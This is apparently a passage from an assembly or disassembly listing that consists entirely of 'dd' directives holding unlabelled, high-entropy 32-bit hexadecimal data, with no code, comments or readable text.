		dd 0E95F3D01h, 9817516Eh, 810DD934h, 0FF8DDC5Bh, 25C403D0h
		dd 4B91C4F9h, 0EB60AE37h, 1369B3h, 58361564h, 750DCE4Ah
		dd 0DCE5FA02h, 82A58304h, 88F8FE26h, 902F6DD9h,	93041Ah
		dd 41A2F767h, 559E36Dh,	0A598D34Bh, 4E404279h, 581F446Ah
		dd 0FC4DC563h, 168AC160h, 0DD4F65EDh, 6B7E6535h, 67A96EF9h
		dd 893E06BFh, 794521B5h, 5693A8B9h, 8BD72580h, 1BF92279h
		dd 5C009018h, 5370A497h, 368BFBBAh, 0D86D3D9Dh,	246DDC81h
		dd 0D1028121h, 2F08D036h, 44A65461h, 5C20AA51h,	4CECED29h
		dd 0D405296Ah, 7917793h, 0E14055F8h, 20821B3Ah,	140B536h
		dd 2B5F165Bh, 82A9ADD2h, 5C1D319Dh, 0AC6DFA5Dh,	0AFC06D67h
		dd 12B7BF18h, 0E236FB2Dh, 0E6BB0231h, 797DB4CAh, 9D238E0Fh
		dd 293E88D5h, 4A12BF4Eh, 1DB2D5A6h, 1DE7CF30h, 82C1E1A0h
		dd 0EF91D740h, 0B35EC756h, 0EBFF58CAh, 9BD8913h, 61E68B53h
		dd 273911E0h, 684CD0F9h, 1617B648h, 59E80589h, 0FE1862E2h
		dd 4B1244E8h, 61030279h, 0A0F77568h, 760EB8D1h,	56993C6Bh
		dd 13F9C638h, 0ADB85FDFh, 98B7F882h, 0CA0D4A0Eh, 9D3317F4h
		dd 0FAA50112h, 7BD2B93Ah, 0B789D001h, 2997871Fh, 2C2EF5C9h
		dd 668AD305h, 660B008Eh, 6C3CAB94h, 0A3047859h,	20908F9Dh
		dd 5C5B79D2h, 14CB510Fh, 0E3B88EBDh, 0AB9F5409h, 67297199h
		dd 0B3F64967h, 3B1E00F4h, 5BF4D1F3h, 330960DDh,	5C3489BDh
		dd 25FF489Ch, 0E56BFEAh, 2525DD28h, 20EA660Dh, 0B7010109h
		dd 0DB79BB45h, 0DC6A3739h, 6025D7CAh, 0BEBA6688h, 46FADC1Eh
		dd 1493A300h, 0CBBB9E54h, 1CA10917h, 67F76650h,	0E18E788h
		dd 1F18610h, 47FE5CBCh,	802446Bh, 0C254737Dh, 450DE70h
		dd 4109C3BFh, 6037AE76h, 7482D0B4h, 13DB4432h, 0C8515250h
		dd 2E1C097Dh, 57415FD7h, 0B5C27EC8h, 95D7AC8h, 5B400628h
		dd 0D6B8755Ch, 6B55F0F0h, 351C00F6h, 6660C4AAh,	841276BAh
		dd 795B50Bh, 0B39293FDh, 49A04E00h, 1B98835h, 0CF100B89h
		dd 0BE0FC6C8h, 82408E2Fh, 42CB113Dh, 84507519h,	148D5B4Bh
		dd 362BCE65h, 61256211h, 0A5E55B0Bh, 0D900F637h, 366322CEh
		dd 0B892074Eh, 3F8D090Dh, 0D845BD56h, 0D90C69A4h, 26D810F3h
		dd 0F7854A57h, 3E6EABh,	0A4B75839h, 50402F90h, 9F60FB96h
		dd 10BD26C6h, 0C8414Ch,	0AB815138h, 45839B0Bh, 61FA0D18h
		dd 0C44AB72Ch, 0B6965030h, 5E8DE1FEh, 2571BAF4h, 8DD8A2E7h
		dd 0C272F625h, 0F8BD774Fh, 687780BEh, 158D893Bh, 1EC08314h
		dd 0DE6379DCh, 4BDA8BEEh, 6920F3C6h, 96F70CEh, 21A527E1h
		dd 96707EF3h, 44569A45h, 0FB25BF16h, 6408CDEFh,	0FEBB601Ch
		dd 0FACE00A1h, 6B5D8F80h, 3D05E7BFh, 820F4277h,	0AB1228AAh
		dd 0B57212FAh, 904EDE1Ah, 62FB5DF0h, 3246D580h,	78D48C5h
		dd 0D0720270h, 0DCA270F4h, 902550FBh, 22FF6EF5h, 0A0BC1071h
		dd 0DC9612DCh, 0D31CE2AFh, 0E300D2A2h, 68D3FF49h, 338C687h
		dd 0F2178011h, 0B58C5342h, 0CA404A6Ch, 412C3869h, 4005BD30h
		dd 3C4FE932h, 0EECF68DEh, 0C2DF8001h, 383A2EF5h, 0AB2385E4h
		dd 6E7E51A1h, 82A900D0h, 0E55012FFh, 0D1C712BFh, 0CC58E20Eh
		dd 528B59B8h, 0A9CFC7F8h, 58DBABF3h, 1D2B0C0h, 0E301EC94h
		dd 894CC4CEh, 0F16565B5h, 1CAC636Dh, 7166008Ch,	0F5D3BAFBh
		dd 0C44A31B1h, 17B237E6h, 2518C230h, 90FFFE1Fh,	0F2DF813Bh
		dd 7F0C2576h, 80125666h, 19E3AAF3h, 0D93E0B4Ch,	0CF874CDCh
		dd 8C96E473h, 8A00468Bh, 0DE59EA83h, 93154Bh, 0D982CBA6h
		dd 0AB90A0F0h, 1150482Dh, 40EA7F34h, 26B7513h, 11FE1D6h
		dd 0FE6A595Fh, 8842E74Ah, 965B8040h, 0FF05BFF0h, 1FD1BD89h
		dd 0FC3EB429h, 97F89279h, 0ACE1B7C4h, 0E0BFC0F3h, 95341410h
		dd 0C854CEB2h, 9502584Bh, 0F8FAC51Bh, 0BF817E59h, 64F93870h
		dd 0DE91152Bh, 4D0BB0BCh, 2C6D9D03h, 95DBE0B6h,	0AEFC9485h
		dd 3DA85D64h, 1E8E0F82h, 458BBA5Fh, 9509C149h, 12CC78F5h
		dd 809B6A5Bh, 248DBFD6h, 1881EC6Ch, 30820138h, 9912C6FDh
		dd 856EF1DBh, 4C071B23h, 0B2D06EBCh, 0B60A14F9h, 46FBEB13h
		dd 1320D50h, 5D52821Ah,	574D8501h, 3489E2FCh, 0E7DE00FEh
		dd 0BDCBE8C3h, 2543359Fh, 0F27EBFFAh, 0B294BF00h, 7967B5A9h
		dd 35A3BB04h, 49AC7C57h, 943B17D2h, 0A725A8B6h,	0C7BB80B8h
		dd 967B37EDh, 8FB06F92h, 8508459Eh, 595F1517h, 198C14A8h
		dd 59D9B302h, 51A3ADF5h, 745B49BFh, 4A415650h, 1CB2D9h
		dd 0FDF5A719h, 2D628587h, 9BFF964Fh, 98F9BAE8h,	3BD78168h
		dd 48A52EF2h, 0F94A0F66h, 58250ACAh, 2723DFFh, 0FCE0235Bh
		dd 91AAB5D5h, 0AF0B8019h, 5A84BCC2h, 5380473h, 61F5022Ah
		dd 0A016D6C6h, 0FCBDBF0Bh, 0C5801D91h, 932F3949h, 0D585E005h
		dd 0A101B027h, 13F44D92h, 0C500FA23h, 385D4AF1h, 0F64C688Ch
		dd 0B51C7F59h, 376DFFF4h, 8B3005ECh, 0B824BDC1h, 662B284Ch
		dd 0BCB0997h, 0EAFE819Dh, 0F71EA962h, 0AE04A3BDh, 0A0932EF5h
		dd 1ABFA090h, 7BDAFB9Ah, 0F8B70C2h, 760C39FBh, 5BF3885Eh
		dd 390A5809h, 0F446D3AAh, 0F8FAD60Bh, 1CDD0589h, 2D1E6FF4h
		dd 2CD17D2h, 0E44EE9EFh, 5CECEDh, 0F3695375h, 0E784709Fh
		dd 0CAF71F18h, 81295576h, 6C022B5Bh, 0C650BFB7h, 443D005Bh
		dd 8C4AE6BBh, 7D009062h, 98063022h, 2A650215h, 97B8D1E3h
		dd 275E5DE2h, 896A10DEh, 0FFB54FA9h, 0DE62F6E6h, 8FE2DC00h
		dd 6C3446AFh, 8A46CBB1h, 0A9238C5Ch, 0BF430C78h, 8350728Bh
		dd 6DB63A95h, 5CEE601Dh, 0EB150F95h, 4AA161D6h,	9852BE8Ch
		dd 89D1508Fh, 3EC7B521h, 0C15A6191h, 5A026A72h,	7826C047h
		dd 31C2CB66h, 0BDEAEEC0h, 74900205h, 3BF32C72h,	6ED98A16h
		dd 3743EFh, 57FEF9ECh, 0C7457C61h, 94E9DEFCh, 0B105AC0Dh
		dd 0FF04D228h, 2FD3BD20h, 0D6CC390Dh, 0A553F109h, 0DCD55Ch
		dd 1B8BEC9Ch, 0BD2B57DDh, 7A0FD14Bh, 219D625Fh,	59375616h
		dd 902BEE61h, 0DEC394h,	15B0850Dh, 0D6A5CC6Ah, 60396B13h
		dd 498AC8h, 2DFE8FCBh, 0D09C22F1h, 61A7E00h, 17BBBA66h
		dd 27A19161h, 8D025D37h, 61FB3433h, 0C1CBFAADh,	66101E0Dh
		dd 0BF4A91BBh, 0E83F8DD9h, 0DFB7C4B7h, 849D83ADh, 0EF0E35BDh
		dd 0A9972BF2h, 0C9A832h, 0B2D69A19h, 0AA9DF4E3h, 0C852B3A2h
		dd 2745EB98h, 91BC883Eh, 0FBE9F900h, 0BA3BEF2h,	0CAC80FB3h
		dd 283FEF6Ch, 0D670113h, 2B9E3E14h, 0E765EC18h,	620F1601h
		dd 0FF6A5FC1h, 92B87969h, 0E10199FEh, 89EDF2B8h, 0AD6BC185h
		dd 8DD52A50h, 24699380h, 64DE548Ah, 64604B36h, 5C1008Eh
		dd 658328Bh, 7F0A37F0h,	91800720h, 15784B0Ah, 289700B8h
		dd 3453160h, 0F56009Eh,	193EE9A2h, 613876F1h, 0E6FC0DB0h
		dd 456F8470h, 0FC71E40Ch, 0C60825A0h, 1EF4404h,	62B58D4Ah
		dd 0EC06172Bh, 0D7BFC0C7h, 5F1EFBF7h, 21F4CCBAh, 892A0F41h
		dd 591696B5h, 407A89BAh, 2B36EC33h, 8C00C85Eh, 0D18B1C3Eh
		dd 0F6E0E360h, 0FFCA0EADh, 0E9246124h, 0C07CADA6h, 85F28067h
		dd 66AF242Fh, 7230BD3h,	0A8A5D488h, 0B5C2A08Ch,	0B75BB105h
		dd 2EB1A222h, 7E49015Ch, 0FB526968h, 0CA4C1C45h, 86EC0089h
		dd 10B81F42h, 0C105F0A0h
		dd 58E9257Ch, 558BF5ECh, 66256754h, 27297604h, 0D8FA2FC5h
		dd 6C12B14Fh, 9C980DB2h, 0E183320Dh, 1989028Dh,	773DAB3h
		dd 2BD12A31h, 1958900h,	440058ACh, 8BAD1615h, 95E811Ah
		dd 261D9BEDh, 3C080D73h, 18467C50h, 0DC483E00h,	0C7816199h
		dd 0B1AE880Ah, 3193BB03h, 0C2F29EFBh, 40E185A4h, 976D0B14h
		dd 8CC8301Bh, 0A024222h, 70B910B7h, 29C5D20Fh, 17AE1ECDh
		dd 0A6FFCh, 6C4B8B3h, 4131A4h, 0FC233362h, 9295F381h, 2B14B20Bh
		dd 0C0354DC0h, 4A37556Ch, 85812305h, 16FC91BCh,	2459C2D8h
		dd 0D860E7C0h, 4E2B12F0h, 5CB2D2h, 0FD8AC03Eh, 3487B6h
		dd 6CA03CBFh, 0B226667Dh, 0E2471309h, 0E0287158h, 280AE781h
		dd 4DBF0572h, 0C687CFF9h, 0C9866032h, 7698B535h, 732C512Dh
		dd 788F231Ah, 0CF077F2Ch, 0E65F68FBh, 810FC41Eh, 8B7F3322h
		dd 57445605h, 4184EF16h, 13D971ACh, 5B617053h, 81531597h
		dd 521DFBFh, 0AD202B79h, 2B7F927h, 0EEA9FD0Fh, 0EC7CE07Dh
		dd 0B25A1410h, 3864CD0Eh, 0B8D5E96Fh, 3AE70779h, 9B55BC29h
		dd 0DF0259F8h, 0F5B50158h, 0E38D718h, 1A97FB8Bh, 26B28012h
		dd 97E1FF28h, 1601BB37h, 0D59D2335h, 0CA4AC828h, 4607E23h
		dd 19E3817Fh, 12149761h, 0C325A668h, 0F4B2F812h, 2A21608Dh
		dd 3D387B87h, 1F446E5Ah, 5E014AAEh, 0B42AEA3Ah,	611D141h
		dd 4A76F62Ah, 3AA206F6h, 20B1B0C0h, 5E171297h, 1600DC59h
		dd 9D75EE11h, 8170E121h, 0B6D86A85h, 0DE014F88h, 6029651h
		dd 5520A18Dh, 0B5951216h, 6E77004Ah, 16F6950Dh,	7284084Bh
		dd 0A083E7EBh, 2A4C69Eh, 0BB3BFF1h, 0F2774EFCh,	0C9D4006Ch
		dd 0FE0D81DBh, 0E69F0903h, 5B572D8Dh, 0B7971164h, 883D005Bh
		dd 0C9267F0Dh, 35F91509h, 793F6A65h, 80430093h,	2C0EA1BEh
		dd 51C0CB00h, 9DB129F9h, 6D6902C5h, 6A46807Bh, 0DE7C5Eh
		dd 70894317h, 6358684Eh, 60540D12h, 0F8657A88h,	0EB7919h
		dd 915C0A3Eh, 0A9D80266h, 905BB325h, 0E59623Ah,	72D2F326h
		dd 19F78400h, 0D2C54988h, 0E0805BCBh, 12A72434h, 89541260h
		dd 0F8AC7B2Dh, 3CE3FAC1h, 0CDF1E4E4h, 0CC4EB825h, 0F9B5279Ch
		dd 2EDAC3C9h, 6FAAA424h, 0F9B60363h, 4801C4E9h,	96C0B114h
		dd 4CC1B6Ch, 42E7D101h,	0ADBD0BF6h, 0B95B29CEh,	65AB8412h
		dd 59E2AE28h, 6AC5C94Ah, 0D1B841B9h, 0A998AA12h, 0E72ADEE1h
		dd 38C0B466h, 956D589Fh, 0D6070DCCh, 896BFB3Eh,	2F60CD7Ah
		dd 834F15h, 0B2490C19h,	6F9DC34Ch, 36918C0Bh, 0A41A51FCh
		dd 14DD096Fh, 0F8F8F414h, 5AE38012h, 9002F7E1h,	34B0D5DAh
		dd 0A5BCD7B7h, 1DE0B24h, 0E0963092h, 2FEEFFAEh,	8A98CCC1h
		dd 12C2EFD0h, 0E36CBB8Fh, 950904C6h, 0CEAE1401h, 0E1B04B34h
		dd 0FB96A17Ah, 0BE734ECBh, 0F4CAD327h, 5A27D996h, 8058FA90h
		dd 89384BDFh, 0F7DB2E8Fh, 3776AFC9h, 7E25EE40h,	8CC82815h
		dd 71580F8h, 92CC0089h,	354FD79Eh, 0A5006DDBh, 504DB0EDh
		dd 0E83FCB6h, 5F5BFDF4h, 9B552433h, 1DFFC193h, 0DD2B46E2h
		dd 0B0246692h, 1D0F93CCh, 0FABC8FF9h, 2BA58BA5h, 524DE1FCh
		dd 59F461B0h, 0F50713DCh, 0BB3B0F5Dh, 6BB3EDA2h, 0BC0A1ED7h
		dd 0A06ED457h, 561F29A4h, 5E417141h, 0E9A4822Fh, 0F6D27C3Bh
		dd 165EC548h, 23B8F6D0h, 0EE9A97EEh, 7FD7CE81h,	607E40E8h
		dd 20003E5Eh, 5C529BCCh, 760859h, 861ED1BDh, 25A6A51Ch
		dd 4017F6B5h, 0FEEDD312h, 2260E300h, 0A3833975h, 5B0B127Eh
		dd 880CF2FCh, 8E37AFD5h, 8B17F80Ah, 0CD495107h,	0BF078900h
		dd 343C1258h, 9E232C5Ah, 0C38061C0h, 25958982h,	675B1081h
		dd 5F181D79h, 0BC38A938h, 92053FA1h, 0BD57F9A8h, 0B8B0C4AEh
		dd 25A3D41Bh, 0C04C5C7Ch, 43C256BFh, 27B57395h,	52E226D0h
		dd 3BF135E3h, 0DDC8AB16h, 225E003Ch, 6AC66C53h,	640046DFh
		dd 2F2BA31Eh, 40E03B35h, 5B4ADE9Dh, 0BB4F36A9h,	8F02CC6Eh
		dd 2BA876CDh, 0C63F9989h, 6F3BA92h, 859D0307h, 0EA8B6A20h
		dd 0EFE56047h, 440779D5h, 2E935D47h, 0BAA86F60h, 6D1900C2h
		dd 0B5E6FCEBh, 955F9D89h, 41E27756h, 5CED9907h,	0F956A9C2h
		dd 1429E5E2h, 4949F4B5h, 82985866h, 766FF305h, 82BDC283h
		dd 0F615854Bh, 70E0E094h, 95290B5Fh, 58F414F5h,	0D03891C0h
		dd 8243017Ah, 8A392AA1h, 0FB74898Ch, 134C7B5Bh,	3EA9A9BDh
		dd 1F411231h, 9AB595ACh, 0F287C002h, 2E67ED52h,	9147BEE1h
		dd 65D8242Fh, 39116213h, 29CB830h, 3F3AD5E6h, 910295D4h
		dd 0ABF9040Bh, 0ED80312Ah, 116D8F10h, 0B4B2DB5Ah, 35BEAC00h
		dd 16E98A84h, 4C974C4h,	55445F09h, 2538AC00h, 119882D8h
		dd 0E81F4858h, 97C01D2Eh, 0B493B65Bh, 2BF4F35h,	3F18E2CCh
		dd 2BEF8455h, 9345F82h,	0A50BEC5Ch, 55E2A9EBh, 0D5009837h
		dd 38C01C33h, 9152B99h,	75FA31AAh, 0AFDC2A21h, 0FABF250Fh
		dd 581263E5h, 38A7BBAh,	4F7EFFBEh, 0D7EBBAD2h, 8F187C18h
		dd 5D5FE507h, 0BDFEC6FBh, 74F6F5B4h, 0C5F48BE0h, 0C77B1A0Fh
		dd 8B7AF408h, 0D6C756F9h, 2E241446h, 92A5237Eh,	4B67F3DEh
		dd 3222668Ah, 2FDEAE81h, 0B7534A30h, 0C65B2B04h, 0A64D8AEh
		dd 0D72CBA04h, 7BAB34DDh, 0C51B2F26h, 2878076h,	48E9FB6Fh
		dd 0CCFFF338h, 5C9269Dh, 8CBCC144h, 0FC0BD3Bh, 33BE805Ah
		dd 29F109A1h, 0C8B72A0Eh, 0CF75204Bh, 3C00CCB3h, 56FFA63Fh
		dd 27F8407Eh, 50585FA2h, 392C3690h, 0F3780CFh, 6B962AC5h
		dd 7AD49F20h, 0CB3FF780h, 339F5h, 0C1F36F2h, 0BE2A9497h
		dd 51A2AB4Ah, 0F57C7100h, 5FDD3344h, 8B905B09h,	0DD6DFFFAh
		dd 4DCDC0EFh, 591B50Bh,	850912BDh, 337DE1FDh, 20FE5ED9h
		dd 761E0182h, 5721FB00h, 7BD01F2Ah, 0EC274BC5h,	925FCDBAh
		dd 15D6F3Ah, 0ADF27852h, 2831072Fh, 0C6058431h,	0B70C45BEh
		dd 9BC8037Fh, 0D2C517E2h, 0B2FA235Ah, 11E90511h, 19FEE300h
		dd 629DBC31h, 30CEB701h, 0A14A4DB2h, 0AA7DD3E0h, 80177D5h
		dd 3FF2B1D1h, 868D1F1Ch, 0E93F4710h, 166B1721h,	5F2ED8BBh
		dd 9BD9E8AAh, 69035F2Fh, 0F8815639h, 5E2CDCE2h,	34CFD200h
		dd 655C1E67h, 0DC17B490h, 0EEC8E700h, 0B5EC866Eh, 5B1E05CCh
		dd 0FB45BD2Bh, 0EE9BCC56h, 0ECBE05C0h, 0D113544Dh, 53DB6AD7h
		dd 0DFE0ADC0h, 0DC3CBFBCh, 0C46DA576h, 3C51FC92h, 3704F23Ch
		dd 0BC64B0CEh, 9EB7C45Ah, 0BEF575ABh, 0D7F321A3h, 0FE9F41F0h
		dd 47E9BD00h, 9501BAE8h, 2E139205h, 940D1FFh, 607908CDh
		dd 0CB5D7EC4h, 0ABA2A5B5h, 0C0FE026Ah, 0BA418A2Eh, 882F909Ah
		dd 0CF3FEE96h, 0FA5800F0h, 0F42B6AEAh, 0F21C0425h, 82D2A429h
		dd 89505736h, 61032BA6h, 0C8EF22E2h, 51B7F066h,	5F01E926h
		dd 71086E50h, 31D9A50Ch, 0A90242A5h, 597F73BAh,	3EC5181Bh
		dd 6FA661CFh, 0E936048Bh, 8A8EAB3Fh, 58E2A510h,	0FDFE2401h
		dd 698A2915h, 4E44FE92h, 0BD0FD5C4h, 10BDD056h,	60481B51h
		dd 1889DF25h, 340FD2D9h, 93DA0A2h, 3046D68h, 325956D0h
		dd 0E597FF0Eh, 19A151F2h, 76C8DF00h, 1CAC387Dh,	309A0B00h
		dd 7FB0CFAEh, 2A18EEA3h, 4AAA2BB7h, 0B8F0F990h,	0F0DD00FBh
		dd 0F2BC1064h, 0B1970189h, 0CA2AF85Bh, 0DF9A5AD6h, 4DD8A682h
		dd 0F5AB980h, 76BD16E6h, 919D614Ah, 7D722F2Bh, 25F45050h
		dd 0E958C257h, 0DC2C5EB7h, 170AB1E4h, 3B890F92h, 1FC9B584h
		dd 0F101955Dh, 0F3CA885Bh, 14B01E02h, 5E9163B3h, 522BC437h
		dd 0C92AE5E1h
		dd 91C72A18h, 70E60F08h, 0C14A87ABh, 6A9AAE80h,	606971E4h
		dd 69C6FD1Ah, 5E892140h, 117FE85h, 0F31F93ABh, 0B5092B04h
		dd 28BC29D9h, 9FCFA996h, 6750A4A1h, 65FC10C0h, 6617CC3Dh
		dd 80099957h, 0EA2578FBh, 722BF64Ah, 0C8C84F51h, 100F866h
		dd 20078042h, 26D13A3Fh, 88338BDDh, 0C4250EF9h,	0D0FADD2Ch
		dd 0F7844F11h, 0EB817C41h, 212FFE79h, 18193520h, 0A7034585h
		dd 44EC5C9Ah, 0DE08241Ah, 44F89801h, 618006E1h,	0EB6352E9h
		dd 1C198509h, 95442179h, 0FD41ABBDh, 622F1AC5h,	60244221h
		dd 731D77E2h, 7BD88717h, 24ACC10Dh, 0EAA6C044h,	10A70E01h
		dd 1CAABD99h, 4B4E32Ah,	61D78B5Fh, 298137BDh, 831F5B5h
		dd 0CA7C8A04h, 2CB91934h, 185FAC84h, 12C3B7FAh,	0FB958B56h
		dd 625A414Bh, 0CBCDED22h, 95D24CD7h, 359D3E6Eh,	12CC0288h
		dd 9F5EA3AFh, 9DFC9840h, 0BD900022h, 0D36315DBh, 0E8225CCCh
		dd 0D570000Bh, 0CF16A764h, 96264828h, 992D9A68h, 0B9C45B46h
		dd 0B7107032h, 54DC3774h, 97D8A28Ah, 177B6A8Bh,	24664670h
		dd 173D7779h, 0FC138245h, 0EF715D5Bh, 5AE50220h, 0AC23E219h
		dd 0D3E4009Fh, 57077DFFh, 0E2080280h, 0A6BA5F56h, 57189AAh
		dd 0DBFA945Ch, 268B5049h, 625D0D34h, 0D5DE5C84h, 4668FCC0h
		dd 700117AFh, 0D0BBA08Ch, 5EC2782Eh, 16DD4A8Ah,	0F1C5242Dh
		dd 0E8FC2D08h, 0AF3A0465h, 0D9D6B23Bh, 0D9DD2A28h, 0A067B62Ah
		dd 1A253057h, 5A26D940h, 56F9A9FDh, 0B5BD5EDBh,	13BA1ED3h
		dd 0C0AE064h, 1184604Ch, 0B5171359h, 61AAA0CDh,	0C0614D97h
		dd 4929611Ah, 0E5EFF502h, 5EB75FFFh, 141E51C3h,	0DFA4D8AAh
		dd 260DB023h, 10590821h, 0F8E1FF0Bh, 0CE174B01h, 97A8227Dh
		dd 0B6697814h, 516DFF1Ah, 2700CBC7h, 12757DF5h,	0F225FBEAh
		dd 0A04F8899h, 491D13ADh, 0B36FAB60h, 2B10C901h, 2FEAB33Ah
		dd 6EE09012h, 0EEF0481h, 0BD2C332Ah, 1C21C4Bh, 0DE9C5625h
		dd 2C23C70Eh, 5665818Eh, 0C1642E64h, 0A2325AB8h, 4A34A864h
		dd 12A2C843h, 8E459Dh, 0E1649F47h, 41BD759Dh, 0B9042519h
		dd 95F9D268h, 0A70558A8h, 0C4542A8Ah, 37CC1584h, 105A1C13h
		dd 0F379C092h, 0B88AAD2Fh, 1260D54Ch, 7DAD2404h, 8902C7B8h
		dd 794F6B8Ch, 0D0AFDB1Eh, 0AE058610h, 1538FCC5h, 0DFD3C703h
		dd 0CF0A0989h, 0D4599D4Dh, 0C50BB61h, 62647ECAh, 0DA565B57h
		dd 0E6C4A5h, 0B82E1046h, 2B6499B9h, 0FA8B570Bh,	0F946895Bh
		dd 0EDD982F1h, 507F659Ch, 9A070018h, 0A3AA0AF4h, 5F4A10B7h
		dd 0F65B33F3h, 53161CDFh, 0CC1CDF01h, 1907AF57h, 0DC2FF6h
		dd 41683D29h, 0BD09EAFBh, 4F85D159h, 78D70A20h,	0CEC20A01h
		dd 2945195h, 5BC7D4EFh,	5349E57h, 0E96DEF80h, 70B7BFF1h
		dd 4F930CA0h, 0AABB9104h, 9BA37A4h, 0BDD74C40h,	7F5F806Fh
		dd 0D099CD58h, 0F6C4D53Ah, 537D817Ch, 1196F358h, 57A0FE9h
		dd 1520FD24h, 0A8E7EF9Ah, 0B7E65B25h, 0C18D3109h, 0EA7C5E28h
		dd 0A208091Dh, 89928279h, 0F6E6FBEh, 0E28E2B74h, 0DC810FBBh
		dd 0AEFA6461h, 2D98CB34h, 1EDCBF09h, 0FD92239Dh, 466ED3h
		dd 0A8E8F768h, 0B7962225h, 7BE950FEh, 0DA81C9DBh, 0F520660Fh
		dd 82242F68h, 0C06B9BBEh, 142982FBh, 0AA9607BAh, 0B0E068A7h
		dd 56BB4FC2h, 15309813h, 3E1FF4A0h, 0F64EDDC0h,	8CF7E0CAh
		dd 0CA140139h, 0E17A7E30h, 0F7E26DBh, 54D9AF48h, 5A7153F1h
		dd 196BFBh, 0D3797AA6h,	24F3622h, 0B8666090h, 0C66D241h
		dd 0F3E5BB00h, 28B0C25Bh, 0D7680243h, 21974F69h, 5B3A185Dh
		dd 0F460F061h, 0A3CE07B8h, 0A45E35F8h, 80F1A890h, 0D2E69355h
		dd 9D8917A7h, 0AA5DC4A5h, 1CC8A2DAh, 7AF155C0h,	0B99B506Ah
		dd 61A12583h, 76709873h, 3B1209C0h, 74D016F7h, 0D3FB99A0h
		dd 9A69697h, 2821BD2Bh,	3FC68A79h, 7214BB27h, 6778FFh
		dd 0F605A7Bh, 2956CABFh, 0E1952Dh, 0E96159EBh, 42B29C27h
		dd 31050DA5h, 2E08B5BAh, 14E2886Bh, 1209B330h, 0B2117595h
		dd 10A416FDh, 48E99E47h, 0D64F1224h, 0DF7182C0h, 0D1004E47h
		dd 0A53D5409h, 704B77FDh, 282FF75Ch, 5700180h, 0E2626D9Fh
		dd 0C45B57Ch, 2F04D788h, 0EE458710h, 2ACC2100h,	0D371CE26h
		dd 335E4FAh, 311DDF07h,	0EE9DF985h, 0F88B8E45h,	80882AFFh
		dd 8248D4B4h, 0DDF704A8h, 0BD311894h, 9C7A4A81h, 0C9D32F5Ch
		dd 70A60732h, 0F91047A1h, 52369A1Bh, 995BB3C8h,	0E73B48B5h
		dd 0A507B009h, 20674ABFh, 0DCD5783Dh, 7F199400h, 0FE9B3852h
		dd 0D65A0681h, 7A795C72h, 76E21A97h, 65C6403Ah,	2EE60F2Fh
		dd 0B31C19Dh, 9D3BAC14h, 0BB256D84h, 79A633C0h,	7C79B037h
		dd 579603FBh, 505FDD8Ah, 2D1DC18Ch, 6EE7DFBFh, 0AEC6B884h
		dd 1423F26Bh, 85018E02h, 2F105D1Dh, 2F5A12EBh, 0F3A9CFE2h
		dd 2DA01CF3h, 360129E4h, 0BD8974C4h, 0A63B11D9h, 3114F26Fh
		dd 0D1E72ADCh, 8F8BDA5Bh, 38B66262h, 3B325DBFh,	0CF9FF958h
		dd 0C9C14086h, 363C972Eh, 235389AAh, 0BE21D058h, 0DAF34074h
		dd 4D07EA2Fh, 87116172h, 6FCBE0EFh, 139A96AAh, 0A11A085Dh
		dd 0B8253D36h, 7C0E0371h, 60D88B48h, 8AB4EB9Dh,	0F89705B8h
		dd 0AE61318Fh, 0D46BE275h, 0D0BC8E00h, 0BFD13CDEh, 435E9809h
		dd 0AE46D120h, 0B11DDC09h, 0EF57BC0Eh, 0C6745AF1h, 0A49D7D8Dh
		dd 0A18DA0CFh, 18409D07h, 6C977FD1h, 61F9BC4Fh,	5197DBDh
		dd 0FC784CB1h, 0DDF288D2h, 72DB4400h, 0C2B983AFh, 0A82A09D6h
		dd 565196EFh, 3668000h,	8ACE71h, 696A609Bh, 19113B64h
		dd 9630D231h, 0DF21E29Eh, 0B24CCE23h, 7C80333Ch, 0C816B62Ah
		dd 0ED0BAC77h, 7F04FC51h, 0D8489546h, 0BA358F6h, 813AB1BEh
		dd 6190A5A7h, 0B260F62Ah, 40C6301Ah, 30FF7001h,	95317D1Dh
		dd 0EC64947Ah, 0FCD4B3Bh, 4917C86Fh, 78A31A4Bh,	9C5FB97h
		dd 3B8C9F9h, 0B9E55900h, 50A7904Ch, 0FB4709BFh,	0BD06425h
		dd 7AFD8A2Ah, 822337BDh, 8D852949h, 565EAFEh, 0F91664BEh
		dd 1BF71E72h, 0E7BF87FAh, 0BD800890h, 9B84C168h, 181771BAh
		dd 0E31D1686h, 9090B89h, 6E554642h, 60F6ADB6h, 274C561Dh
		dd 9F45149Dh, 725C1EE2h, 8D160EDEh, 0B94283FEh,	0E6517E37h
		dd 0CE93FD02h, 51A2F6B4h, 2F8DDDCFh, 5F250ACBh,	254CFD1h
		dd 0D9E0171Fh, 0D3E8D586h, 0C65E0FD6h, 9989AF9Eh, 76E9A1D1h
		dd 662DD447h, 35B1FDBCh, 0BF5B8305h, 89294FB1h,	0F13AC9E9h
		dd 9DCC2084h, 5CBEDD5Fh, 7D055141h, 0BC9DC14Dh,	5E160964h
		dd 0BED37114h, 57071011h, 0F0792C84h, 730A8F97h, 193DA001h
		dd 0FCB51C76h, 7303170h, 0BB905BC0h, 4F454161h,	0DEAE9E50h
		dd 17E6CA3Dh, 27E2C4E0h, 8C610712h, 0E077D90Ah,	1281AA1Eh
		dd 0A3C7802Ah, 0FCA7846Bh, 8A109810h, 62CAC5FCh, 1CE6AFF3h
		dd 0C5CFE9F0h, 41774312h, 5681A5E8h, 0E4F74D61h, 63EA958Ah
		dd 78D84B1Ch, 8FA25B93h, 0E8806080h, 83A0F5CAh,	65F8BB50h
		dd 0CC5EA13Bh, 2E1618FAh, 42998DC3h, 69E94A0Ah,	0F609F4B8h
		dd 79D0CE97h, 0BD2382F4h, 0EE7518D5h, 219B81B0h, 0D1FF02FEh
		dd 58004551h, 5FD20EEFh, 93A6C220h, 0DD5E5B27h,	0A156851h
		dd 17F34400h, 816F02h, 2FA2CD83h, 16808702h, 0A890B1D2h
		dd 0EF3020DAh, 0A5DDF838h, 0B6834FD9h, 0E1CEAF47h, 19DD7732h
		dd 9AAE32Fh, 7D330FEDh,	250358Ah, 140D9529h, 87E8E45Eh
		dd 1293F915h, 44E8EAE9h, 5F36CE1h, 0FED80882h, 0B8C625B9h
		dd 33201997h, 1120C96Ah
		dd 21AEBAF7h, 520C858Bh, 32AE51C0h, 124258D6h, 97002CC6h
		dd 126C7F9h, 9035060h, 48E3A63Bh, 3C938578h, 0F3181D51h
		dd 35A7D91Dh, 0E389D442h, 1200F0D5h, 0F534ADDBh, 0DCB72BAEh
		dd 1BA175E0h, 9EC5E34Bh, 25A7A6BEh, 6BC85687h, 76E4D5h
